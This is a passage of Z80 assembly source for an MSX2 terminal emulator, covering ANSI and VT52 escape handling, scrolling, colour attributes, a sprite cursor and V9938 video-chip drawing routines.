LD A,(CursorRow) ; From current cursor row
CALL V9938_ClearBlock
ANSI_IL_END:
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_DL:
LD A,(HMMC_BUF_COUNT) ; Will change cursor position, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
LD B,1 ; No number is one Row
OR A
JR Z,ANSI_DL_RUN
LD A,(Parameters_PRM) ; Read how many Rows
LD B,A
ANSI_DL_RUN:
LD A,(CursorRow)
LD C,A ; CopyDestination C (CursorRow)
ADD A,B
CP 25
JR C,ANSI_DL_CONTINUE ; If number of lines to move cursor to first column and Erase Display 0, then return cursor
LD A,(CursorCol)
PUSH AF ; Save current Cursor Column
XOR A
LD (CursorCol),A ; For now in first column
CALL V9938_ErDis0Sub ; Make ED0
POP AF ; Restore column
LD (CursorCol),A ; Back to the right column
JP ANSI_DL_END ; And done
ANSI_DL_CONTINUE:
; Ok, so we will need to move, delete and clear
PUSH BC ; Save B (how many rows)
LD B,A ; Copy Source B
LD A,26 ; (CursorRow + Rows)
SUB B ; RowsToCopy A
; (26 - CopySource)
CALL V9938_CopyBlockYDown
POP BC ; Load How many Rows
LD A,25
SUB B ; Clear from the End Of Screen
CALL V9938_ClearBlock
ANSI_DL_END:
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_CHT: ; ANSI Horizontal Tab
LD A,(HMMC_BUF_COUNT) ; Will change cursor position, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
LD B,1 ; No number is one Tab
OR A
JR Z,ANSI_CHT_RLP
LD A,(Parameters_PRM)
LD B,A ; Load the number of repeats
ANSI_CHT_RLP:
PUSH BC
PUSH HL
CALL HTabSub
POP HL
POP BC
DJNZ ANSI_CHT_RLP ; It's the end? No? Repeat!
JP PrintText_RLP
ANSI_CBT: ; ANSI Cursor Backwards Tabulation
LD A,(HMMC_BUF_COUNT) ; Will change cursor position, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,B
LD B,1 ; No number is one Tab
OR A
JR Z,ANSI_CBT_RLP
LD A,(Parameters_PRM)
LD B,A ; Load the number of repeats
ANSI_CBT_RLP:
PUSH BC
PUSH HL
CALL CBTabSub
POP HL
POP BC
DJNZ ANSI_CBT_RLP ; It's the end? No? Repeat!
JP PrintText_RLP
ANSI_ECH: ; ANSI Erase Character
LD A,B
LD C,1 ; No parameter means erase one character
OR A
JR Z,ANSI_ECH_DO ; No parameter, no need to calculate, just do it
LD A,(CursorCol)
LD C,A ; Cursor Position in C
LD A,(Parameters_PRM) ; How many chars to delete in A
ADD C ;
CP 80 ; Let's check if it is lower than 80 (meaning is within our line)
JR C,ANSI_ECH_SLP ; If carry, ok, within, so no need to adjust value
LD A,80 ; Otherwise let's just say it is 80 to adjust value
ANSI_ECH_SLP:
SUB C ; Subtract cursor position, this will be original B or what would be the chars up to the 80th character to keep it in the same line
LD C,A ; Characters to be erased in C
ANSI_ECH_DO:
JP V9938_ErChar0 ; Erase those characters
ANSI_ICH: ; ANSI Insert Characters
LD A,B
LD C,1 ; No number is one char inserted
OR A
JR Z,ANSI_ICH_RLP
LD A,(Parameters_PRM)
LD C,A
ANSI_ICH_RLP:
JP V9938_InsertChars
ANSI_SD: ; ANSI Scroll Down
LD A,B
LD B,1 ; No number is one line scroll
OR A
JR Z,ANSI_SD_RLP
LD A,(Parameters_PRM)
LD B,A ; Load the number of lines to scroll
ANSI_SD_RLP:
PUSH BC
CALL V9938_ScrollDown
POP BC
DJNZ ANSI_SD_RLP ; It's the end? No? Repeat!
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_SU: ; ANSI Scroll Up
LD A,B
LD B,1 ; No number is one line scroll
OR A
JR Z,ANSI_SU_RLP
LD A,(Parameters_PRM)
LD B,A ; Load the number of lines to scroll
ANSI_SU_RLP:
PUSH BC
CALL V9938_ScrollUp
POP BC
DJNZ ANSI_SU_RLP ; It's the end? No? Repeat!
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_SGR: ; ANSI Set Graphics Rendition
LD A,B
OR A
LD DE,Parameters_PRM
; OPJ: Zero parameters -> Reset attributes,
JR NZ,ANSI_SGR_RLP
LD (DE),A
LD B,0x01
ANSI_SGR_RLP:
PUSH BC
LD A,(DE)
INC DE
OR A
JR Z,ANSI_SGR_RES ; RESET ATTRIBUTES
CP 1
JR Z,ANSI_SGR_BLD ; SET FONT TO BOLD
CP 7
JR Z,ANSI_SGR_REV ; REVERSE COLORS
CP 8
JR Z,ANSI_SGR_CON ; CONCEALED (INVISIBLE)
CP 27
JR Z,ANSI_SGR_URV ; UN-REVERSE COLORS
CP 30
JR C,ANSI_SGR_UNK ; UNKNOWN / UNSUPPORTED
CP 38
JR C,ANSI_SGR_SFC ; SET FOREGROUND COLOR
CP 39
JR Z,ANSI_SGR_RFC ; RESET FOREGROUND COLOR
CP 40
JR C,ANSI_SGR_UNK ; UNKNOWN / UNSUPPORTED
CP 48
JR C,ANSI_SGR_SBC ; SET BACKGROUND COLOR
CP 49
JR Z,ANSI_SGR_RBC ; RESET BACKGROUND COLOR
ANSI_SGR_UNK:
POP BC
DJNZ ANSI_SGR_RLP
ANSI_SGR_RET:
LD HL,(EndAddress)
JP PrintText_RLP
ANSI_SGR_RES: ; RESET ATTRIBUTES
; PK: Reset text attributes, they
; are:
; 1 Bold
; 4 Underscore
; 5 Blink on
; 7 Reverse Video on
; 8 Concealed on
; By now, this library supports
; BOLD, CONCEALED and REVERSE
XOR A
LD (HiLighted),A
LD (Reversed),A
LD (Concealed),A
; PK: Some softwares expects that
; reset restore the text and
; background colors to a sane
; default
LD (BackColor),A
LD A,0x07
LD (ForeColor),A
JR ANSI_SGR_CLR
ANSI_SGR_BLD:
LD A,0x01
LD (HiLighted),A
JR ANSI_SGR_CLR
ANSI_SGR_REV:
LD A,(Reversed)
OR A
JR NZ,ANSI_SGR_CLR
LD A,0x01
LD (Reversed),A
JR ANSI_SGR_SWP
ANSI_SGR_CON:
LD A,0x01
LD (Concealed),A
JR ANSI_SGR_CLR
ANSI_SGR_URV:
LD A,(Reversed)
OR A
JR Z,ANSI_SGR_CLR
XOR A
LD (Reversed),A
JR ANSI_SGR_SWP
ANSI_SGR_RFC:
LD A,37
ANSI_SGR_SFC:
SUB 30
LD (ForeColor),A
JR ANSI_SGR_CLR
ANSI_SGR_RBC:
LD A,40
ANSI_SGR_SBC:
SUB 40
LD (BackColor),A
JR ANSI_SGR_CLR
ANSI_SGR_CLR:
CALL V9938_SetColors
JR ANSI_SGR_UNK
ANSI_SGR_SWP:
LD A,(ForeColor)
LD B,A
LD A,(BackColor)
LD (ForeColor),A
LD A,B
LD (BackColor),A
JR ANSI_SGR_CLR
VT52_ENCURSOR:
LD A,(CursorOn)
OR A
RET NZ ; If already on, nothing to do
INC A
LD (CursorOn),A ; Other than 0, on
EnCursorSub:
DI
LD A,(VDP_08) ; Get a copy of register 8
AND 0b11111101 ; Clear bit to enable sprites
LD (VDP_08),A ; Save our value
OUT (0x99),A ; Send value to VDP
LD A,0x80+8
OUT (0x99),A ; Write to register 8
EI
RET
VT52_DISCURSOR:
LD A,(CursorOn)
OR A
RET Z ; If already off, nothing to do
XOR A
LD (CursorOn),A ; 0, off
DisCursorSub:
DI
LD A,(VDP_08) ; Get a copy of register 8
OR 0b00000010 ; Set bit to disable sprites
LD (VDP_08),A ; Save our value
OUT (0x99),A ; Send value to VDP
LD A,0x80+8
OUT (0x99),A ; Write to register 8
EI
RET
VT52_UP:
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,(CursorRow)
OR A
JP Z,PrintText_RLP
DEC A
LD (CursorRow),A
CALL V9938_SetCursorY
JP PrintText_RLP
VT52_DW:
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,(CursorRow)
CP 24
JP NC,PrintText_RLP
INC A
LD (CursorRow),A
CALL V9938_SetCursorY
JP PrintText_RLP
VT52_LE:
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,(CursorCol)
OR A
JP Z,PrintText_RLP
DEC A
LD (CursorCol),A
CALL V9938_SetCursorX
JP PrintText_RLP
VT52_RI:
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,(CursorCol)
CP 79
JP NC,PrintText_RLP
INC A
LD (CursorCol),A
CALL V9938_SetCursorX
JP PrintText_RLP
VT52_HOME:
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
XOR A
LD (CursorCol),A
LD (CursorRow),A
CALL V9938_SetCursorX
CALL V9938_SetCursorY
JP PrintText_RLP
VT100_SCP:
LD (EndAddress),HL
JP ANSI_SCP
VT100_RCP:
LD (EndAddress),HL
JP ANSI_RCP
BackSpace:
CALL BackSpaceSub
JP PrintText_RLP
BackSpaceSub:
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,(CursorCol)
OR A
JP Z,PrintText_RLP
DEC A
LD (CursorCol),A
CALL V9938_SetCursorX
RET
HorizontalTab:
CALL HTabSub
LD HL,(EndAddress)
JP PrintText_RLP
HTabSub:
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,(CursorCol) ; Get the current column
OR 7 ; Goes to the next tabstop
; Tabstops traditionally are
; in each 8th column
CP 79
JP Z,HTabSub_SCP
INC A ; Some adjusts here and there...
HTabSub_SCP:
LD (CursorCol),A
CALL V9938_SetCursorX
RET
CBTabSub:
LD A,(CursorCol) ; Get the current column
DEC A
AND 248 ; Goes to the previous tabstop
; Tabstops traditionally were
; in each 8th column
CP 248
JP NZ,CBTabSub_SCP
XOR A ; Positions belows 0 are 0
CBTabSub_SCP:
JR HTabSub_SCP
LineFeed:
CALL LFeedSub
JP PrintText_RLP
LFeedSub:
LD A,(HMMC_BUF_COUNT) ; Feeding line, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
LD A,(CursorRow)
INC A
CP 25
JR C,LFeedSub_NNL
CALL V9938_ScrollUp
LD A,24
LFeedSub_NNL:
LD (CursorRow),A
XOR A
LD (CursorCol),A ; Cursor is back to position 0
CALL V9938_SetCursorX
CALL V9938_SetCursorY
RET
CarriageReturn:
CALL CarriageReturnSub;
JP PrintText_RLP
CarriageReturnSub:
LD A,(HMMC_BUF_COUNT) ; Cursor position changing, so if there is something in HMMC buffer, need to flush it
OR A
CALL NZ,DO_HMMC_FLUSH
XOR A
LD (CursorCol),A
CALL V9938_SetCursorX
RET
_BIOS_C: ; BIOS_C: [IX]
LD IY,(0xFCC0)
JP 0x001C
;
; V9938 Related Code
;
; This is where all V9938 (MSX2/2+) specific routines and defines are
;
VDP_08 equ 0xFFE7
VDP_09 equ 0xFFE8
VDP_23 equ 0xFFF6
VDP_01 equ 0xF3E0
VDP_06 equ 0xF3E5
VDP_05 equ 0xF3E4
VDP_11 equ 0xFFEA
VDP_14 equ 0xFFED
; SUB-ROM entries
;
iniPlt equ 0x0141
rstPlt equ 0x0145
; CALSUB
;
; In: IX = address of routine in MSX2 SUBROM
; AF, HL, DE, BC = parameters for the routine
;
; Out: AF, HL, DE, BC = depending on the routine
;
; Changes: IX, IY, AF', BC', DE', HL'
;
; Call MSX2 subrom from MSXDOS. Should work with all versions of MSXDOS.
;
; Notice: NMI hook will be changed. This should pose no problem as NMI is
; not supported on the MSX at all.
;
CALSLT equ 0x001C
NMI equ 0x0066
EXTROM equ 0x015F
EXPTBL equ 0xFCC1
H_NMI equ 0xFDD6
;
CALSUB:
EXX
EX AF,AF' ; store all registers
LD HL,EXTROM
PUSH HL
LD HL,0xC300
PUSH HL ; push NOP ; JP EXTROM
PUSH IX
LD HL,0x21DD
PUSH HL ; push LD IX,<entry>
LD HL,0x3333
PUSH HL ; push INC SP; INC SP
LD HL,0
ADD HL,SP ; HL = offset of routine
LD A,0xC3
LD (H_NMI),A
LD (H_NMI+1),HL ; JP <routine> in NMI hook
EX AF,AF'
EXX ; restore all registers
LD IX,NMI
LD IY,(EXPTBL-1)
CALL CALSLT ; call NMI-hook via NMI entry in ROMBIOS
; NMI-hook will call SUBROM
EXX
EX AF,AF' ; store all returned registers
LD HL,10
ADD HL,SP
LD SP,HL ; remove routine from stack
EX AF,AF'
EXX ; restore all returned registers
RET
V9938_Init:
LD A,0x07
LD IX,0x005F
CALL _BIOS_C ; Interslot call to set screen 7
; Now let's set a lot of registers :)
LD A,0x00
LD (VDP_23),A ; R23, first line to draw is 0
DI
LD A,0xF0 ; Text1 and Text2 color 15, Border and Background color 0
OUT (0x99),A
LD A,0x80+7
OUT (0x99),A ; Write to register 7
LD A,(VDP_08) ; Get a copy of register 8
OR 0b00100010 ; Set bit so color 0 is 0 in palette and disable sprites
LD (VDP_08),A ; Save our value
OUT (0x99),A ; Send value to VDP
LD A,0x80+8
OUT (0x99),A ; Write to register 8
LD A,(VDP_09) ; Get a copy of register 9
OR 0b10000000 ; 212 Lines by seting 8th bit
LD (VDP_09),A ; Save our new value
OUT (0x99),A ; Send value to VDP
LD A,0x80+9
OUT (0x99),A ; Write to register 9
LD A,0x00 ; Palette register pointer set to 0
OUT (0x99),A ; Send value to VDP
LD A,0x80+16
OUT (0x99),A ; Write to register 16, new palette pointer
EI ; Ok to have interrupts now
LD HL,ANSI_PAL ; Address of our palette
LD BC,0x209A ; 32 bytes to move to port 0x9a which will auto-increment palette registers
OTIR ; Send it
RET ; Done!
V9938_Finish:
DI
LD A,0x00
OUT (0x99),A
LD A,0x80+23
OUT (0x99),A ; Register 23 goes to 0 to reset vertical offset
LD IX,0xD2
LD IY,(0xFCC0) ; Call TOTEXT bios function
CALL CALSLT
EI
LD IX,iniPlt
CALL CALSUB
LD IX,rstPlt ; Restore the saved palette
CALL CALSUB
EI
RET ; Done!
;OPJ - Sprite Cursor initialization
V9938_InitCursor:
DI
; First Set Pattern Table Address
LD A,0b00111111 ; sprite pattern table = 1F800-1FFFF
LD (VDP_06),A ; Save our value
OUT (0x99),A ; Send value
LD A,0x80+6
OUT (0x99),A ; Write in register
; Now Set Sprite Attribute Table Address
LD A,0b11101111 ; sprite attribute table = 1F600 / So Color Table will be 1F400 (14 - 10 and 3 1s)
LD (VDP_05),A ; Save our value
OUT (0x99),A ; Send value
LD A,0x80+5
OUT (0x99),A ; Write in register
LD A,0b00000011 ; A16 - 1 And A15 - 1
LD (VDP_11),A ; Save our value
OUT (0x99),A ; Send value
LD A,0x80+11
OUT (0x99),A ; Write in register
;SET VDP TO WRITE @ Color Table starting at Sprite 0 (1F400)
LD A,0b00000111 ; A16, A15 and A14 set to 1
LD (VDP_14),A ; Save our value
OUT (0x99),A ; Send value
LD A,0x80+14
OUT (0x99),A ; Write in register
LD A,0b00000000 ; Now A7 to A0, all 0's
OUT (0x99),A ; Low Address
LD A,0b01110100 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10 to 1 and A9-A8 to 0 (4)
OUT (0x99),A ; High Address
;Colors for 2 sprites is 32 bytes long
LD HL,SPRITE_COLORS
LD BC,0x2098
V9938_InitCursor_COLRLOOP:
OUTI
NOP
NOP
JR NZ,V9938_InitCursor_COLRLOOP
;SET VDP TO WRITE @ Pattern Table starting at Sprite 0 (1F800)
LD A,0b00000111 ; A16/15/14 set to 1
LD (VDP_14),A ; Save our value
OUT (0x99),A ; Send value
LD A,0x80+14
OUT (0x99),A ; Write in register
LD A,0b00000000 ; Now A7 to A0, all 0's
OUT (0x99),A ; Low Address
LD A,0b01111000 ; Write (bit 6), A12 1
OUT (0x99),A ; High Address
;Patterns for 2 sprites is 16 bytes long
LD HL,PATTERN_CURSOR
LD BC,0x1098
V9938_InitCursor_PATRNLOOP:
OUTI
NOP
NOP
JR NZ,V9938_InitCursor_PATRNLOOP
;SET VDP TO WRITE @ Attribute Table starting at Sprite 0 (1F600)
LD A,0b00000111 ; A16, A15 and A14 set to 1
LD (VDP_14),A ; Save our value
OUT (0x99),A ; Send value
LD A,0x80+14
OUT (0x99),A ; Write in register
LD A,0b00000000 ; Now A7 to A0, all 0's
OUT (0x99),A ; Low Address
LD A,0b01110110 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10/A9 to 1 and A8 to 0 (6)
OUT (0x99),A ; High Address
;Attributes for 2 sprites is 8 bytes long
LD HL,SPRITE_TABLE
LD BC,0x0898
V9938_InitCursor_ATTRLOOP:
OUTI
NOP
NOP
JR NZ,V9938_InitCursor_ATTRLOOP
; Done with setting
DI
LD A,(VDP_08) ; Get a copy of register 8
AND 0b11111101 ; Enable Sprites (cursor)
LD (VDP_08),A ; Save our value
OUT (0x99),A ; Send value to VDP
LD A,0x80+8
OUT (0x99),A ; Write to register 8
EI
LD (CursorOn),A ; Other than 0, on
RET
V9938_CursorColor:
;SET VDP TO WRITE @ Color Table starting at Sprite 0 Line 6 (1F405)
LD A,0b00000111 ; A16, A15 and A14 set to 1
DI
LD (VDP_14),A ; Save our value
OUT (0x99),A ; Send value
LD A,0x80+14
OUT (0x99),A ; Write in register
LD A,0b00000101 ; Now A7 to A0
OUT (0x99),A ; Low Address
LD A,0b01110100 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10 to 1 and A9-A8 to 0 (4)
OUT (0x99),A ; High Address
LD A,(HiLighted)
OR A
LD A,(ForeColor)
JR Z,V9938_CursorColor_NHA
ADD 0x08
V9938_CursorColor_NHA:
OR 0x20 ; Color attribute
LD B,2
V9938_CursorColor_CCLRLOOP:
;Update 1st line
OUT (0x98),A
NOP
NOP
DJNZ V9938_CursorColor_CCLRLOOP
EI
RET
V9938_PrintChar:
PUSH IX
LD B,A ; Save char in B
LD A,(HMMC_BUF_COUNT)
OR A
JP NZ,V9938_PrintChar_NotFirst
; It is the first, so we need to save the current DXL/DXH
LD HL,(HMMCCURR_DXL)
LD (HMMC_CMD_DXL),HL
V9938_PrintChar_NotFirst:
LD E,A
LD D,0
LD HL,HMMC_BUF
ADD HL,DE ; HL has the next free position in buffer
LD A,(Concealed)
OR A
JR NZ,V9938_PrintCharB_SPC ; Concealed = not visible -> just print space
LD A,B ; Restore char to print in A
CP 0x20
JR Z,V9938_PrintCharB_SPC ; Space -> just blank / background color
CP 0xDB
JR Z,V9938_PrintCharB_FIL ; Fill -> just filled / foreground color
EX DE,HL ; DE has where we will store the data generated
LD BC,FontData ; Let's get the start address for the font table
LD L,A
LD H,0 ; Character in HL
ADD HL,HL
ADD HL,HL
ADD HL,HL ; Each caracter is composed of 8 bytes, thus multiply by 8, so it index the right character in the table
ADD HL,BC ; Add to font table start address and we got our character
LD IX,0x0808 ; Need to do it for 8 lines, IXH will be the counter of lines we've done
LD BC,ColorTable ; Color Table address in BC
V9938_PrintChar_RowLoop:
LD A,(HL) ; First line of this character in A
AND 0b11000000 ; Dealing with the 8th and 7th bits, we are going to print every two pixels, left to right
RLCA
RLCA
ADD A,ColorTable & 255 ; Ok, so this is the base of color table (back/back, back/fore, fore/back, fore/fore) depending on each pixel
LD C,A ; move it to C
LD A,(BC) ; And A has the result of the two pixels
LD (DE),A ; Move it to buffer (the first two pixels of character line)
INC DE ; Increment pointer
LD A,(HL)
AND 0b00110000 ; Now we are dealing with the 5th and 6th bits
RRCA
RRCA
RRCA
RRCA
ADD A,ColorTable & 255 ; Ok, so this is the base of color table (back/back, back/fore, fore/back, fore/fore) depending on each pixel
LD C,A ; move it to C
LD A,(BC) ; And A has the result of the two pixels
LD (DE),A ; Move it to buffer (the first two pixels of character line)
INC DE ; Increment pointer
LD A,(HL)
AND 0b00001100 ; Now we are dealing with the 3rd and 4th bits
RRCA
RRCA
ADD A,ColorTable & 255 ; Ok, so this is the base of color table (back/back, back/fore, fore/back, fore/fore) depending on each pixel
LD C,A ; move it to E
LD A,(BC) ; And A has the result of the two pixels
LD (DE),A ; Move it to buffer (the first two pixels of character line)
INC HL ; HL now in the next line of char
LD A,28 ; We are going to jump 28 bytes for the next line in buffer
ADD A,E
LD E,A ; Ok E has it
JR NC,V9938_PrintChar_NC ; If no carry no need to INC D
INC D
V9938_PrintChar_NC:
DEC IXH ; Decrement counter
JP NZ,V9938_PrintChar_RowLoop
V9938_PrintChar_Done:
POP IX
; If here, done
LD A,(HMMC_BUF_COUNT)
ADD A,3 ; Increments of 3, we want to know how many bytes there are in each X row
LD (HMMC_BUF_COUNT),A
CP 30 ; Buffer full? (60 pixels, that means 30 double pixels / bytes)
JP Z,DO_HMMC_FLUSH ; Flush it
LD A,(Buffering)
OR A ; Are we buffering?
JP Z,DO_HMMC_FLUSH ; If not buffering, flush as well
RET ; And done!
V9938_PrintCharB_SPC:
LD A,(ColorTable+0)
LD B,8 ; 8 lines
LD DE,28 ; Our line jump
V9938_PrintCharB_SPL:
LD (HL),A ; Move it to buffer
INC HL
LD (HL),A ; Move it to buffer
INC HL
LD (HL),A ; Move it to buffer
ADD HL,DE ; Move pointer to next line in buffer
DJNZ V9938_PrintCharB_SPL; Decrement counter, if not zero, do it again
JP V9938_PrintChar_Done ; Done
V9938_PrintCharB_FIL:
LD A,(ColorTable+3)
LD B,8 ; 8 lines
LD DE,28 ; Our line jump
JP V9938_PrintCharB_SPL
V9938_ScrollUp:
PUSH HL
LD A,25
LD B,0 ;Indicates to use background color
CALL V9938_ClearLine
; OPJ - To avoid previous lines to show in the bottom when rolling multiple lines
LD B,1 ;Indicates to use border color
CALL V9938_ClearTop
POP HL
LD A,(VDP_23)
ADD 0x08
LD (VDP_23),A
DI
OUT (0x99),A
LD A,0x80+23
OUT (0x99),A
EI
RET
V9938_ScrollDown:
PUSH HL
LD A,24
LD B,1 ;Indicates to use border color
CALL V9938_ClearLine
POP HL
LD A,(VDP_23)
SUB 0x08
LD (VDP_23),A
DI
OUT (0x99),A
LD A,0x80+23
OUT (0x99),A
EI
; Make sure the first line now has the correct color attribute
LD B,0 ;Indicates to use background color
CALL V9938_ClearTop
RET
V9938_SetCursorX:
LD A,(HMMC_BUF_COUNT) ; If buffering, no need to update table
OR A
RET NZ
LD A,(CursorCol)
LD B,A
ADD A,A
ADD A,B
ADD A,8 ; Border offset 16 pixels
LD (SPRITEPOS_X),A
ADD A,A ; HMMC work with real pixel count, not double pixels
LD (HMMCCURR_DXL),A
LD A,0
JP NC,V9938_SetCursorXNC ; If not carry, ok, DXH is 0
INC A ; Otherwise is 1
V9938_SetCursorXNC:
LD (HMMCCURR_DXH),A
; Update Cursor Position
;SET VDP TO WRITE @ 0x1F601 - Attribute Table
LD A,0b00000111 ; A16, A15 and A14 set to 1
LD (VDP_14),A ; Save our value
DI
OUT (0x99),A ; Send value
LD A,0x80+14
OUT (0x99),A ; Write in register
LD A,0b00000001 ; Now A7 to A0, all 0's
OUT (0x99),A ; Low Address
LD A,0b01110110 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10/A9 to 1 and A8 to 0 (6)
OUT (0x99),A ; High Address
; X Position
LD A,(SPRITEPOS_X)
OUT (0x98),A ; Set X
EI
RET
V9938_SetCursorY:
LD A,(CursorRow)
ADD A,A
ADD A,A
ADD A,A
LD B,A ; Copy IYL to B
LD A,(VDP_23) ; Get current vertical offset
ADD A,B ; Add our IYL to it
LD (HMMC_CMD_DYL),A
LD (SPRITEPOS_Y),A
; Update Cursor Position
;SET VDP TO WRITE @ 0x1F600 - Attribute Table
LD A,0b00000111 ; A16, A15 and A14 set to 1
LD (VDP_14),A ; Save our value
DI
OUT (0x99),A ; Send value
LD A,0x80+14
OUT (0x99),A ; Write in register
LD A,0b00000000 ; Now A7 to A0, all 0's
OUT (0x99),A ; Low Address
LD A,0b01110110 ; Write (bit 6), A13/A12 to 1(1F) / A11 to 0 and A10/A9 to 1 and A8 to 0 (6)
OUT (0x99),A ; High Address
; Y Position
LD A,(SPRITEPOS_Y)
OUT (0x98),A ; Set Y
EI
RET
V9938_ClearLine:
LD B,1
V9938_ClearBlock:
;
; A <- SourceRow
; B <- Rows
;
ADD A,A
ADD A,A
ADD A,A
LD (HMMV_CMD_DYL),A ; Number of lines * 8 = position of the last line
LD A,B
ADD A,A
ADD A,A
ADD A,A
LD (HMMV_CMD_NYL),A ; Will paint a rectangle with B*8 pixels on the Y axys
XOR A
LD (HMMV_CMD_NYH),A
LD (HMMV_CMD_DXL),A
LD A,0xE0
LD (HMMV_CMD_NXL),A
LD A,0x01
LD (HMMV_CMD_NXH),A ; The rectangle is 480 pixels on the X axis
LD A,B
OR A
LD A,(BackColor)
JR Z,V9938_ClearBlock_Cont
LD A,(BorderColor)
V9938_ClearBlock_Cont:
LD (ClearColor),A
ADD A,A
ADD A,A
ADD A,A
ADD A,A
LD B,A
LD A,(ClearColor)
OR B ; Adjust color in the right format
LD (HMMV_CMD_CLR),A ; Color to paint the rectangle
JP DO_HMMV
; OPJ - To avoid previous lines to show in the bottom when rolling multiple lines
V9938_ClearTop:
XOR A
LD (HMMV_CMD_DYL),A ; position of the first line
LD A,0x08
LD (HMMV_CMD_NYL),A ; Will paint a rectangle with 8 pixels on the Y axys
XOR A
LD (HMMV_CMD_NYH),A
LD (HMMV_CMD_DXL),A
LD A,0xE0
LD (HMMV_CMD_NXL),A
LD A,0x01
LD (HMMV_CMD_NXH),A ; The rectangle is 480 pixels on the X axis
LD A,B
OR A
LD A,(BackColor)
JR Z,V9938_ClearTop_Cont
LD A,(BorderColor)
V9938_ClearTop_Cont:
LD (ClearColor),A
ADD A,A
ADD A,A
ADD A,A
ADD A,A
LD B,A
LD A,(ClearColor)
OR B ; Adjust color in the right format
LD (HMMV_CMD_CLR),A ; Color to paint the rectangle
JP DO_HMMV
V9938_ClearScreen:
CALL V9938_WaitCmd ; Make sure VDP is not processing any command
DI
;OPJ - Set border color same as back color
LD A,(BackColor) ; Text1 and Text2 color 15, Border and Background color 0
LD (BorderColor),A ; Save the new border color
OUT (0x99),A
LD A,0x80+7
OUT (0x99),A ; Write to register 7
;OPJ - End
LD A,0x24
OUT (0x99),A
LD A,0x91
OUT (0x99),A ; Indirect access to registers, starting at 36
EI
LD C,0x9B ;Now indirect writes starting at register 36
XOR A
OUT (C),A ; DXL = 0
NOP
OUT (C),A ; DXH = 0
NOP
OUT (C),A ; DYL = 0
NOP
OUT (C),A ; DYH = 0
NOP
OUT (C),A ; NXL = 0
LD A,0x02
OUT (C),A ; NXH = 2 (512 dots)
XOR A
OUT (C),A ; NYL = 0
INC A
OUT (C),A ; NYH = 1 (256 dots)
LD A,(BackColor)
ADD A,A
ADD A,A
ADD A,A
ADD A,A
LD B,A
LD A,(BackColor)
OR B
OUT (C),A ; CLR
LD A,0x00
OUT (C),A ; ARG
LD A,0xC0
OUT (C),A ; CMD
RET
V9938_InsertChars:
; Number of characters to insert in C
LD A,(CursorCol) ;
LD B,A ; Cursor column in B
ADD A,C ; Lets Check if cursor pos + inserted characters equals or exceed a line limit
CP 79 ; So, if 79 (80 columns) or less, will carry
JP NC,V9938_ErLin0 ; If no carry, no need to move blocks, we can just use a line deletion that will be way faster
; If here cursor pos + inserted characters less than a line, so we need to do the following:
; - Calculate the size of the block to move (End of screen - (Cursor Position + Inserted Chars))
; - Move the block (it should be a move to the left, from right edge - inserted chars
; - Erase # of Inserted Chars beginning in the cursor position
LD A,79
SUB A,B ; Ok, how many characters do we have including the one in cursor?
SUB A,C ; And this is how many characters we need to move to cursor position + inserted chars
INC A
LD B,A ; B contains character width of block being moved
ADD A,A
ADD A,B ; Multiply it by 3, number of "double pixels" (6 pixel width, 3 double pixels width)
ADD A,A ; And now double it to adjust, length is in pixels
LD (HMMM_CMD_NXL),A ; Store as NX lower byte
LD A,0x00 ; Probably will be 0 NX higher byte
JR NC,V9938_InsChr_NXH ; But if carry, means it is 1
INC A ; If carry, NXh is 1
V9938_InsChr_NXH:
LD (HMMM_CMD_NXH),A ; Store it
LD A,0x08
LD (HMMM_CMD_NYL),A ; A line has 8 pixels, so NYL is 8
; No need to change NYH, always 0
LD A,C
ADD A,A
ADD A,C
LD D,A ; Number of chars to insert *3 in D
LD A,0xEE ; Rightmost edge in pixels is 0x01DE
LD (HMMM_CMD_DXL),A ; Now destination is rightmost edge
LD A,0x01 ; Rightmost edge in pixels is 0x01DE
LD (HMMM_CMD_DXH),A ; Now destination is rightmost edge
LD A,247 ; Rightmost edge in double pixels 239 + 8 pixels from the border = 247
SUB A,D ; This is our source, rightmost edge - number of chars to insert
ADD A,A ; Multiply by 2
LD (HMMM_CMD_SXL),A ; Save source
LD A,0x00 ; XH could be 0
JR NC,V9938_InsChr_SXH ; If no carry, it is 0
INC A ; Otherwise it is 1
V9938_InsChr_SXH:
LD (HMMM_CMD_SXH),A ; Save XH
LD A,(CursorRow) ; Current cursor line
ADD A,A
ADD A,A
ADD A,A ; Multiply it by 8, it is the first line of that character line (8 pixels high character)
LD B,A ; Copy Y to B
LD A,(VDP_23) ; Get current vertical offset
ADD A,B ; Add our Y to it
LD (HMMM_CMD_DYL),A ; This is the Y destination
LD (HMMM_CMD_SYL),A ; As well as the Y source
LD A,0x04 ; We need the direction of move to be to the left, otherwise it won't work properly
LD (HMMM_CMD_ARG),A ;
PUSH BC ; Save Number of chars to insert
CALL DO_HMMM ; All set, let's move
